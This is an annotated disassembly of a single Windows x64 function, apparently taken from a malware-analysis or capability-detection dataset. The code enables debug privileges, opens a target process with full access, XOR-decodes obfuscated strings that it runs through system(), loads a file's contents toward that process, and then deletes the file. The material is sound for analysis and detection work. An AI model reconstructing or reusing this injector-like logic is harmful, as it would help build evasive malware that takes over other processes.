Function at 0x140002a50
Capabilities:
Acquire debug privileges
Check if file exists
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov r12, rcx
xor edi, edi
mov dword [rbp + 0x118], edi
mov dword [rbp + 0x118], edi
movdqa xmm0, xmmword [0x14000fbd0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xbfbea1e9
mov word [rsp + 0x64], 0x9998
lea rcx, [rsp + 0x78]
call fcn.140005f70
mov dword [rbp + 0x118], 2
lea edx, [rdi + 0x16]
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov ebx, edi
lea rcx, [rsp + 0x50]
call fcn.1400060e0
movabs r13, 0x4ec4ec4ec4ec4ec5
test rax, rax
je 0x140002b2e
nop dword [rax]
mov rax, r13
mul rbx
shr rdx, 2
lea eax, [rdx + 9]
cwde
imul ecx, eax, 0xd
movzx edx, bx
sub dx, cx
movsx eax, byte [rsp + rbx + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rbx
lea rcx, [rsp + 0x50]
call fcn.1400060e0
cmp rbx, rax
jb 0x140002ae0
mov ebx, 1
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
call fcn.140001580
mov esi, eax
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp + 0x128], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x128]
lea edx, [rbx + 0x27]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002bcf
mov dword [rbp - 0x68], ebx
mov dword [rbp - 0x5c], 2
lea r8, [rbp - 0x64]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140002bc2
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x68]
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r15, rax
test rax, rax
jne 0x140002d88
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
movdqa xmm0, xmmword [0x14000fb90]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xc5d0d7dc
mov dword [rsp + 0x64], 0x8a9982c4
mov dword [rsp + 0x68], 0xbbe899c3
lea rcx, [rsp + 0x78]
call fcn.140005f70
mov dword [rbp + 0x118], 9
lea edx, [r15 + 0x1c]
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rbx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400067a0
test rax, rax
je 0x140002ca1
nop dword [rax]
mov rax, r13
mul rbx
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, bx
sub dx, cx
sub dx, 0x50
movsx eax, byte [rsp + rbx + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rbx
lea rcx, [rsp + 0x50]
call fcn.1400067a0
cmp rbx, rax
jb 0x140002c50
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
mov edx, esi
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov dword [rbp + 0x120], 0x181f0818
mov byte [rbp + 0x124], 9
lea rcx, [rsp + 0x78]
call fcn.140005f70
mov dword [rbp + 0x118], 0x25
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rbx, rdi
lea rcx, [rbp + 0x120]
call fcn.140006790
test rax, rax
je 0x140002d66
nop word [rax + rax]
mov rax, r13
mul rbx
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, bx
sub dx, cx
add dx, 0x48
movsx eax, byte [rbp + rbx + 0x120]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rbx
lea rcx, [rbp + 0x120]
call fcn.140006790
cmp rbx, rax
jb 0x140002d10
mov ebx, 0x15
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov rcx, r15
call fcn.140001430
test al, al
jne 0x140002f4b
movdqa xmm0, xmmword [0x14000fa50]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x2c203000
mov dword [rsp + 0x64], 0x2b22322c
mov dword [rsp + 0x68], 0x5a4c3f3d
mov word [rsp + 0x6c], 0x4b6e
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 7
mov dword [rbp + 0x118], ebx
mov edx, 0x1e
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rsp + 0x50]
call fcn.140006780
test rax, rax
je 0x140002e51
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
add dx, 0x3e
movsx eax, byte [rsp + rsi + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rsp + 0x50]
call fcn.140006780
cmp rsi, rax
jb 0x140002e00
btr ebx, 7
or ebx, 0x40
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x120], 0x40475040
mov byte [rbp + 0x124], 0x51
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 9
mov dword [rbp + 0x118], ebx
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rbp + 0x120]
call fcn.140006790
test rax, rax
je 0x140002f26
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
add dx, 0x10
movsx eax, byte [rbp + rsi + 0x120]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rbp + 0x120]
call fcn.140006790
cmp rsi, rax
jb 0x140002ed0
btr ebx, 9
bts ebx, 8
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14000310b
movdqa xmm0, xmmword [0x14000f9d0]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x14000fbe0]
movdqu xmmword [rsp + 0x60], xmm1
mov byte [rsp + 0x70], 0x89
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0xb
mov dword [rbp + 0x118], ebx
mov edx, 0x21
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rsp + 0x50]
call fcn.140006770
test rax, rax
je 0x140003011
nop dword [rax]
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
add dx, 0x7d
movsx eax, byte [rsp + rsi + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rsp + 0x50]
call fcn.140006770
cmp rsi, rax
jb 0x140002fc0
btr ebx, 0xb
bts ebx, 0xa
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x120], 0x686f7868
mov byte [rbp + 0x124], 0x79
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0xd
mov dword [rbp + 0x118], ebx
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rbp + 0x120]
call fcn.140006790
test rax, rax
je 0x1400030e6
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
add dx, 0x38
movsx eax, byte [rbp + rsi + 0x120]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rbp + 0x120]
call fcn.140006790
cmp rsi, rax
jb 0x140003090
btr ebx, 0xd
bts ebx, 0xc
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x1c]
mov rdx, r12
lea rcx, [rbp - 0x40]
call fcn.140005bd0
nop
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
mov r14d, dword [rbp + rcx - 0x30]
test r14b, 6
je 0x1400032fb
movdqa xmm0, xmmword [0x14000fbf0]
movdqu xmmword [rsp + 0x78], xmm0
movdqa xmm1, xmmword [0x14000fad0]
movdqu xmmword [rbp - 0x78], xmm1
lea rcx, [rsp + 0x50]
call fcn.140005f70
bts ebx, 0xf
mov dword [rbp + 0x118], ebx
mov edx, 0x20
lea rcx, [rsp + 0x50]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rsp + 0x78]
call fcn.140006120
test rax, rax
je 0x1400031f1
nop dword [rax]
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
sub dx, 0x69
movsx eax, byte [rsp + rsi + 0x78]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x50]
call fcn.140006f20
inc rsi
lea rcx, [rsp + 0x78]
call fcn.140006120
cmp rsi, rax
jb 0x1400031a0
btr ebx, 0xf
bts ebx, 0xe
lea rcx, [rsp + 0x50]
call fcn.140005e00
mov edx, r14d
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x50]
call fcn.140005e80
lea rcx, [rbp - 0x40]
call fcn.140005ae0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x120], 0xf7f6e3f1
mov byte [rbp + 0x124], 0xe0
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0x11
mov dword [rbp + 0x118], ebx
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rbp + 0x120]
call fcn.140006790
test rax, rax
je 0x1400032d6
nop dword [rax]
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
sub dx, 0x5f
movsx eax, byte [rbp + rsi + 0x120]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rbp + 0x120]
call fcn.140006790
cmp rsi, rax
jb 0x140003280
btr ebx, 0x11
bts ebx, 0x10
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x78]
call fcn.140005e80
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
lea rcx, [rbp - 0x58]
call fcn.140005d40
cmp rax, 0x1000
jge 0x1400034c8
movdqa xmm0, xmmword [0x14000fb30]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0xf2a2b9ef
mov dword [rsp + 0x64], 0xb7a3baba
mov dword [rsp + 0x68], 0xe3a8b1bb
mov byte [rsp + 0x6c], 0xc4
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0x13
mov dword [rbp + 0x118], ebx
mov edx, 0x1d
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rsp + 0x50]
call fcn.140006110
test rax, rax
je 0x1400033ce
nop
mov rax, r13
mul rsi
shr rdx, 2
lea eax, [rdx + 4]
cwde
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
movsx eax, byte [rsp + rsi + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rsp + 0x50]
call fcn.140006110
cmp rsi, rax
jb 0x140003380
btr ebx, 0x13
bts ebx, 0x12
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
lea rcx, [rbp - 0x40]
call fcn.140005ae0
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x120], 0xa5a0b5a3
mov byte [rbp + 0x124], 0xb2
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0x15
mov dword [rbp + 0x118], ebx
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rbp + 0x120]
call fcn.140006790
test rax, rax
je 0x1400034a3
nop dword [rax]
mov rax, r13
mul rsi
shr rdx, 2
lea eax, [rdx + 1]
cwde
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
movsx eax, byte [rbp + rsi + 0x120]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rbp + 0x120]
call fcn.140006790
cmp rsi, rax
jb 0x140003450
btr ebx, 0x15
bts ebx, 0x14
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x78]
call fcn.140005e80
lea rcx, [rbp - 0x58]
call fcn.140005d40
mov rcx, rax
call fcn.140001240
mov r14, rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rbp - 0x58]
call fcn.140005d40
mov r8, rax
mov rdx, r14
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x40]
call fcn.140005ae0
lea rcx, [rbp - 0x58]
call fcn.140005d40
mov rdx, r14
mov rcx, r15
call fcn.1400038d0
test al, al
jne 0x1400036cb
mov rcx, r14
call fcn.14000ce7c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x14000fa70]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x31797375
mov byte [rsp + 0x64], 0x2a
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0x1b
mov dword [rbp + 0x118], ebx
mov edx, 0x15
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rsp + 0x50]
call fcn.140006100
test rax, rax
je 0x1400035e1
nop word [rax + rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
add dx, 0x19
movsx eax, byte [rsp + rsi + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rsp + 0x50]
call fcn.140006100
cmp rsi, rax
jb 0x140003590
btr ebx, 0x1b
bts ebx, 0x1a
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov dword [rbp + 0x120], 0xfcfbecfc
mov byte [rbp + 0x124], 0xf5
lea rcx, [rsp + 0x78]
call fcn.140005f70
bts ebx, 0x1d
mov dword [rbp + 0x118], ebx
mov edx, 5
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rsi, rdi
lea rcx, [rbp + 0x120]
call fcn.140006790
test rax, rax
je 0x1400036a6
nop dword [rax]
mov rax, r13
mul rsi
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, si
sub dx, cx
sub dx, 0x54
movsx eax, byte [rbp + rsi + 0x120]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rsi
lea rcx, [rbp + 0x120]
call fcn.140006790
cmp rsi, rax
jb 0x140003650
btr ebx, 0x1d
bts ebx, 0x1c
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov rcx, r14
call fcn.14000ce7c
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm0, xmmword [0x14000fae0]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x60], 0x90809097
mov dword [rsp + 0x64], 0xb7bdd792
mov dword [rsp + 0x68], 0xfaceb4a0
lea rcx, [rsp + 0x78]
call fcn.140005f70
or ebx, 0x80000000
mov dword [rbp + 0x118], ebx
mov edx, 0x1c
lea rcx, [rsp + 0x78]
call fcn.140006d90
mov rbx, rdi
lea rcx, [rsp + 0x50]
call fcn.1400067a0
test rax, rax
je 0x140003791
nop dword [rax]
mov rax, r13
mul rbx
shr rdx, 2
movsx eax, dx
imul ecx, eax, 0xd
movzx edx, bx
sub dx, cx
sub dx, 0x11
movsx eax, byte [rsp + rbx + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rbx
lea rcx, [rsp + 0x50]
call fcn.1400067a0
cmp rbx, rax
jb 0x140003740
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000389d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
movdqa xmm0, xmmword [0x14000fb40]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [0x14000fb70]
movdqu xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0xd8848cb6
mov dword [rsp + 0x74], 0xd3bdc1c3
lea rcx, [rsp + 0x78]
call fcn.140005f70
mov dword [rbp + 0x118], 2
mov edx, 0x28
lea rcx, [rsp + 0x78]
call fcn.140006d90
lea rcx, [rsp + 0x50]
call fcn.1400060f0
test rax, rax
je 0x14000387e
nop dword [rax]
nop dword [rax + rax]
mov rax, r13
mul rdi
shr rdx, 2
lea eax, [rdx + 3]
cwde
imul ecx, eax, 0xd
movzx edx, di
sub dx, cx
movsx eax, byte [rsp + rdi + 0x50]
xor ax, dx
cwde
movd xmm0, eax
punpcklwd xmm0, xmm0
pshufd xmm0, xmm0, 0
pextrw edx, xmm0, 0
lea rcx, [rsp + 0x78]
call fcn.140006f20
inc rdi
lea rcx, [rsp + 0x50]
call fcn.1400060f0
cmp rdi, rax
jb 0x140003830
lea rcx, [rsp + 0x78]
call fcn.140005e00
mov edx, ebx
mov rcx, rax
call fcn.140001030
lea rcx, [rsp + 0x78]
call fcn.140005e80
nop
lea rcx, [rbp + 0x70]
call fcn.140005b40
lea rcx, [rbp + 0x70]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rbx, qword [rsp + 0x210]
add rsp, 0x1d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret